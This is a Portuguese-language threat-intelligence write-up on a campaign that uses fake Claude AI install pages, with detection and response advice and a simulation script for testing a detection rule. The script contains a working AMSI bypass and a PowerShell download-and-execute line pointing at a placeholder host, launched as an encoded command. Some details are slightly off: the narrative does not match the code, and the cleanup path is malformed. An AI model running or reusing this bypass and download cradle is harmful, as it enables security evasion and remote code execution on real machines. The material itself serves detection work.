InstallFix e Código Claude: Como Páginas de Instalação Falsas Levam a Compromissos Reais

Resumo

A campanha InstallFix espalha malware através de anúncios maliciosos do Google que imitam páginas de instalação do Claude AI. As vítimas são persuadidas a executar comandos PowerShell que invocam mshta.exe para recuperar um arquivo ZIP e HTA poliglota, que então inicia uma cadeia de infecção sem arquivos em várias etapas. A carga útil desativa a validação SSL e as proteções AMSI, baixa código adicional de um domínio de comando e controle específico da vítima, e cria persistência através de tarefas agendadas. A operação tem como alvo organizações em várias indústrias e regiões ao redor do mundo.

Investigação

Pesquisadores rastrearam todo o fluxo de execução da página de instalação falsa através mshta.exe, VBScript e várias camadas de PowerShell codificado. A desobstrução mostrou que o malware gerou um identificador exclusivo para cada vítima e o usou para construir uma URL de comando e controle específica do host. A telemetria de rede revelou comunicação de saída para múltiplos domínios e endereços IP maliciosos. Embora a carga útil final não tenha sido totalmente recuperada, o comportamento observado sugeriu atividade de coleta e exfiltração de dados.

Mitigação

Os defensores devem bloquear o acesso aos domínios e endereços IP maliciosos identificados e restringir o uso de mshta.exe e outras ferramentas de script legadas sempre que possível. Os controles de segurança de endpoint devem ser ajustados para detectar tentativas de contornar o AMSI e manipulações de validação SSL. As organizações também devem impor filtragem rigorosa de URLs para o tráfego de anúncios do Google que leve a páginas de instalação de software. A conscientização do usuário permanece crítica, especialmente em relação ao risco de executar comandos copiados de resultados de pesquisa patrocinados ou fontes não verificadas.

Resposta

As equipes de segurança devem alertar sobre cadeias de processos em que mshta.exe inicia cmd.exe, powershell.exe, ou interpretadores de script com URLs remotos suspeitos. Esses eventos devem ser correlacionados com a criação de tarefas agendadas e conexões de saída para a infraestrutura conhecida de comando e controle. Se a atividade for confirmada, os defensores devem conter o host, terminar os processos maliciosos e remover quaisquer mecanismos de persistência, como tarefas agendadas. Uma revisão forense deve ser realizada em seguida para identificar quaisquer componentes restantes da carga útil sem arquivos.

Execução de Simulação

Pré-requisito: A Verificação Preliminar de Telemetria e Linha de Base deve ter sido aprovada.

Racional: Esta seção detalha a execução precisa da técnica do adversário (TTP) projetada para acionar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente os TTPs identificados e visar gerar a telemetria exata esperada pela lógica de detecção. Exemplos abstratos ou não relacionados levarão a diagnósticos errôneos.

• Narrativa de Ataque e Comandos:
  O atacante obtém um script PowerShell malicioso via link de spear-phishing (T1566.002) que baixa uma carga útil de um servidor comprometido. Para evitar a detecção do AMSI, o script injeta a string AMSI_RESULT_NOT_DETECTED na memória do processo, e então usa o IEX operador para executar o código baixado. Todo o comando é codificado em Base64 e lançado com a -EncodedCommand flag, satisfazendo todos os três strings seletoras na regra Sigma.

  Passo a passo:

  1. Baixar a carga útil maliciosa (um simples one-liner PowerShell que escreve um arquivo).
  2. Injetar marcador de evasão do AMSI definindo o campo estático privado amsiInitFailed.
  3. Executar a carga útil via IEX.
  4. Lançar toda a cadeia usando powershell.exe -EncodedCommand ….

• Script de Teste de Regressão:

  # Simulação de ataque PowerShell estilo InstallFix
  # -------------------------------------------------
  # 1. Defina o one-liner malicioso
  $malicious = @"
  `$bypass = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
              .GetField('amsiInitFailed','NonPublic,Static')
  `$bypass.SetValue(`$null,$true)
  IEX (New-Object Net.WebClient).DownloadString('http://example.com/payload.ps1')
  "@
  
  # 2. Codifique o script em UTF-16LE e depois em Base64 (requisito do PowerShell)
  $bytes = [System.Text.Encoding]::Unicode.GetBytes($malicious)
  $encoded = [Convert]::ToBase64String($bytes)
  
  # 3. Execute via powershell.exe com a flag -EncodedCommand
  $command = "powershell.exe -NoProfile -EncodedCommand $encoded"
  Write-Host "Iniciando PowerShell malicioso..."
  Invoke-Expression $command

• Comandos de Limpeza:

  # Remova quaisquer arquivos temporários e termine processos persistentes
  Get-Process -Name powershell -ErrorAction SilentlyContinue | Stop-Process -Force
  Remove-Item -Path "$env:TEMPpayload.ps1" -ErrorAction SilentlyContinue
  Write-Host "Limpeza completa."